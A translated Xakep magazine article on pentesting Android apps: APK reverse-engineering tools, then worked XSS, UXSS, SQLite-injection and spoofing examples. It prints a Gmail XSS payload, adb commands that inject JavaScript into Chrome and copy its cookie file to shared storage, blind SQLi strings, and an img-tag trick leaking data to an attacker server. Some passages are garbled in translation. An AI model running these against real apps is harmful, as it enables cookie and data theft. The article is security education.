This article was published in “Xakep” #169 magazine.
Original russian version - PDF
Robots make mistakes: Hunting for bugs in Android applications
Introduction
Email, calendar, contact list, password manager, hundreds of photos—all of these are stored on our phones. The smartphone becomes a sort of master key to everything: many services link to our phone number for password recovery. However, for some inexplicable reason, we subconsciously believe that all the contents of our smartphones are inherently secure. The worst that can happen, in the eyes of an average person, is losing or having the device stolen. But the list of threats doesn’t end there.
Mobile applications are fundamentally no different from regular ones. It would be foolish to think they are more secure. On the contrary, mobile developers often prioritize functionality and usability over security. Programmers here have not yet learned from bitter experience and rarely consider security—what’s important is that everything works well and users download/buy the applications. Therefore, it’s no surprise that a vast number of applications (including banking apps) harbor vulnerabilities, often discovered through simple analysis. Interestingly, mobile app security has garnered significant interest from both attackers and researchers. A notable example: at the end of 2012, Yandex included their iOS and Android apps in their “Bug Bounty” contest alongside their web services. Today’s agenda is to explore the main types of vulnerabilities in mobile applications for the Android platform. But first, let’s master the basics.
Inside an Android Application
The Android operating system is designed so that each application runs under a special virtual machine called Dalvik. Its distinctive feature is low power consumption, which is suitable for ARM devices. Android programs are written in Java (with the possibility of using external libraries in other languages thanks to the NDK extension), but the standard byte-code is not used. Instead, Dalvik uses its own format—dex. Regular class files are converted into dex using the dx utility included in the Android SDK.
Android applications are distributed as APK files, which are executable ZIP archives. Inside the archive are the following structural files:
- META-INF directory:
- MANIFEST.MF — manifest file;
- CERT.RSA — certificate;
- CERT.SF — file and resource hashes;
- res directory — resources not included in resource.arsc;
- assets directory — additional files;
- AndroidManifest.xml — additional manifest file;
- classes.dex — compiled file for Dalvik;
- resources.arsc — recompiled resources;
- lib — not always present, contains libraries.
From a researcher’s perspective, two files are of interest—classes.dex and AndroidManifest.xml. By decompiling classes.dex, the source code of the application can be obtained. The AndroidManifest.xml file contains information about the application’s settings, such as available providers (permission to read, send SMS, etc.).
Thus, the algorithm for reverse-engineering most Android applications looks something like this:
- Unpack the APK archive.
- Convert the classes.dex file to classes.jar using the dex2jar utility.
- Open classes.jar in a Java decompiler, such as JD-GUI.
A Few Words About Security
The security of the Android OS is at a fairly high level. As mentioned earlier, each application has an AndroidManifest.xml file that specifies all the permissions required by the application (set by the user when the application is installed). If the application is not allowed to send SMS, it cannot do so. These permissions are controlled at the OS level and regulated through this file. For this reason, a malicious application can be identified by its request for unusual permissions, for example, the Gingerbreak exploit will not work if the application does not have the rights to mount/unmount the SD card. It’s strange if a new version of your favorite Angry Birds requires such permission.
Additionally, each application has its unique ID and GID, and the application’s files are only accessible to this application (in other words, they have -rw-rw—- rights).
When each application starts, its VM (Java & Dalvik) is launched, but for exploiting many of the vulnerabilities discussed below, additional permissions are not required. Often, internet permission is enough for an attacker to receive all data in real-time. If the attacker has destructive tendencies, not even that is needed. For instance, installing “live” wallpapers that don’t require permissions but delete all your notes through SQL injection is sufficient.
Analysis Tools
As with regular reverse engineering, helper programs are divided into two categories: for static and dynamic analysis.
Static Analysis
Static analysis involves analyzing code, which is included in many utilities—mentioned repeatedly in the magazine, so we’ll skip the details. And it doesn’t require special skills, as we described the large decompilation algorithm of applications in the previous chapter. Some time ago, a company appeared online with its megaproduct that “polished” your application. It actually used a bug in the dex2jar utility, which was quickly fixed. Then, having received the usual Java code, we use any Java decompiler. I prefer two: JD-GUI and jad, graphical and console. The graphical one has a small problem: some part of the code is left as byte-code, so some classes have to be decompiled again in the console jad. If such an algorithm didn’t work, we have to work at the smali/backsmali-code level using the same-named utilities. And of course, IDA will be useful: starting from version 6.1, it has ARM architecture support and can unpack APK files. It is worth noting the Androguard plugin for the Sublime Text editor (bit.ly/W5e0n2), which replaces many of the utilities described above. It has built-in decompilers for both Java and smali code, an XML file converter (e.g., AndroidManifest.xml) to a regular text file, and much more.
Besides reverse engineering programs, there is a utility for scanning applications for vulnerabilities—ScanDroid. It is a small Ruby script that acts as a wrapper for decompiler utilities, with rules set in a text file, so you can easily write your own. There is a detailed article on how to work with it and a translation: bit.ly/VdAetu.
Dynamic Analysis
Dynamic analysis in Android is more complex. Essentially, it’s just the Android SDK with a set of utilities. Three IDEs can work with the SDK: Eclipse, NetBeans, IntelliJ IDEA. Google officially supports a plugin for Eclipse, so I recommend choosing it. However, with the release of the twelfth version of IDEA, working with Android in this development environment has become much more pleasant.
From the SDK, we will need:
- adb — the main utility responsible for exchanging information with the device;
- ddms — the official debugging utility, the capabilities of which would probably take up an entire article;
- logcat — log output where all errors are visible, included in ddms.
The user needs to either launch the emulator or connect the device to the computer via cable. Then open Eclipse and go to the DDMS tab, where you can observe the device’s log, the list of processes, and the file manager (which can be used to download files from the device and upload them), and emulate sending SMS, GPS coordinates, or calls. But if you run the emulator and connect more than one device, you should attach to the necessary one with the adb connect command. You can get the list of devices with the adb devices command.
Recently, an article (bit.ly/U9ptls) on connecting gdb was published, but for this, you need a device with root rights or debug in the emulator. But nothing prevents you from using android-x86 or compiling your kernel, for example, with address support.
To avoid downloading all the utilities one by one, French servers have created a virtual machine for Android reverse engineers called ARDvm. It is a VirtualBox image with Ubuntu and installed utilities, many of which we discussed above; they just need to be updated:
- androguard
- android sdk/ndk
- apkinspector
- aapt
- apktool
- axmlprinter
- dex2jar
- droidbox
- ded
- smali/backsmali
This virtual machine will be especially useful for Windows users to compile binary exploits using the Android NDK or Android OS.
Types of Vulnerabilities
At the moment, there are known and exploited vulnerabilities familiar to those who perform web service penetration testing:
- XSS — Cross-Site Scripting, i.e., executing arbitrary JavaScript within the application;
- UXSS — Universal Cross-Site Scripting, executing JavaScript on any open page;
- SQL injection — the ability to inject code into an SQL query;
- Spoofing — spoofing server responses.
Let’s discuss each vulnerability in detail.
Type 1. XSS in Applications
XSS in applications poses a significant danger. For example, if JavaScript is enabled in the WebView component of an application, you can execute malicious code that allows you to retrieve private data from the smartphone. As an example, let’s consider last year’s well-known vulnerability in the Gmail app for Android. The essence of the vulnerability was as follows. If you send an email in the app from an address like "onload=window.location='http://google.com'"@somedmn.com
, you could see the login page in the Gmail app. Based on this, it’s easy to write JS code that retrieves email addresses and sends them to a prepared sniffer.
1 | var temp; |
Thus, if you find XSS in an application, there is a high chance of retrieving data. However, it’s important to note that the WebView component must be used, and JavaScript must be enabled.
Type 2. UXSS and file://
There is a specific type of vulnerability—UXSS (Universal Cross-Site Scripting). This type of vulnerability is specific to browsers, as it allows executing JavaScript code on any open page. As a general example, let’s take research from Opera [bit.ly/SPcwvm]. For instance, in the blog Teapot—Teapot’s main editor in the mobile version of the Chrome browser updated to version 35 for the same reasons. The essence of this vulnerability is simple—using JavaScript in the URL of the current tab.
Example of a UXSS vulnerability:
1 | shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'http://www.google.ru' |
And Chrome with google.ru will open in the current tab. Now let’s use JavaScript inside the URL:
1 | shell@android:/ $ am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'javascript:alert(document.cookie)' |
And we will see the cookies (document.cookie) of the site on the current tab (in this case, google.ru). Or another option: show a window that the browser version is outdated and offer to update by going to a specified address with pre-prepared malicious content. There are many options.
You can also run Chrome through the adb shell command. For example, the last command would look like this:
1 | adb shell am start -n com.android.chrome/com.google.android.apps.chrome.SimpleChromeActivity -d 'javascript:alert(document.cookie)' |
Now, another interesting case, published by the same researcher. As is known, application files are only accessible to the application itself. But Chrome developers allowed the use of the file:// protocol, and thanks to this, we can retrieve application files and upload them to a memory card accessible to any application and open them. Consider the following scenario:
1 | shell@android:/ $ am start -n com.android.chrome/com.android.chrome.Main -d 'file:///data/data/com.android.chrome/app_chrome/Default/Cookies' |
And in /sdcard/Downloads/Cookies.bin, we will see the cookies file with “For all” rights. Now any application can read this file and send it to an attacker so they can log in to some web service using the obtained data.
Type 3. SQLite Injection in Applications
Typically, applications use SQLite tables or XML files to store data. To find the tables of a specific application, you need to go to /data/data/{app_name}/.
Let’s take a closer look at an attack on an application using SQLite injection. Finding a vulnerable application is quite simple since if in regular SQL injection, only the application will not be affected, mainly because of the payload. If such an object is found, each of them can find rows. Choose the first application that comes up, which works with the database, for example, variable substitution directly into the query.
Open and give an example. I took the first application I found on the app store. Here it is, called Diary. This is a notes application.
The vulnerability is present in the search query for notes. The entire query:
1 | SELECT de.*, dc.category_name, dc.category_color FROM diaro_entries de |
How it looks in the source code can be seen in the screenshot. It’s easy to create a Blind SQL injection:
1 | true - %') and 1=1-- |
Since Android applications use SQLite databases, you can make a query SELECT * FROM sqlite_master – and get the entire structure.
Type 4. Spoofing
Now let’s move on to content spoofing. If you intercept an application for Android using the Android SDK and the well-known Burp. If you intercept all traffic, then on the standard system, running an emulator on a proxy, you can achieve practically the same as moving the device to the proxy and talking to it:
1 | root@android-sdk/tools # ./emulator -avd avd_name -http-proxy http://127.0.0.1:8080 |
For example, you can replace the content of a response to a URL request. If you want to get there for something else, then in real conditions, spoofing can be done using specialized utilities like Ettercap. Let’s assume that we have an application that receives data from an external source and writes it to the database. Developers often forget about this and may not check the received data immediately with vulnerabilities. Thus, let’s change the server response. Thus, we can get user data on the device, which can be sent through an SQL query.
For this, there is a little trick. It lies in the fact that developers increasingly use HTML callbacks and widgets in their applications. The WebView class is responsible for using it. Android uses the WebKit engine to process HTML. By default, JavaScript in the WebView class is not enabled, but we won’t need it. The technique will be similar to what we use in sniffers. We have a server that logs everything after ?. Thus, we form a request to look like the answer “img src=http://server/?4l“. In this case, this request is SELECT X'3c'||'img src=http://server/?'||hex('A')||X'3e';
.
Concepts
Of course, this is just a small part of how penetration testing of Android applications can be conducted. At the end of the article, I will give unimplemented attack concepts: SQLite load_extension(), dynamic loading of external libraries, and loading external databases. We will try to consider them in another article. Additionally, in one of the following issues, a report on vulnerabilities found as part of the “Bug Bounty” contest from Yandex will be published.
- WWW
- UXSS and file://
- Chrome: bit.ly/TpRBoS;
- XSS in Gmail App: bit.ly/wu9nz6;
- Application overview for XSS: bit.ly/xykHux;
- Analysis and reverse engineering tools: slidesha.re/ZB2asu;
- Examples of work and other Android in videos on YouTube and using the Sublime plugin: bit.ly/W5g4VY.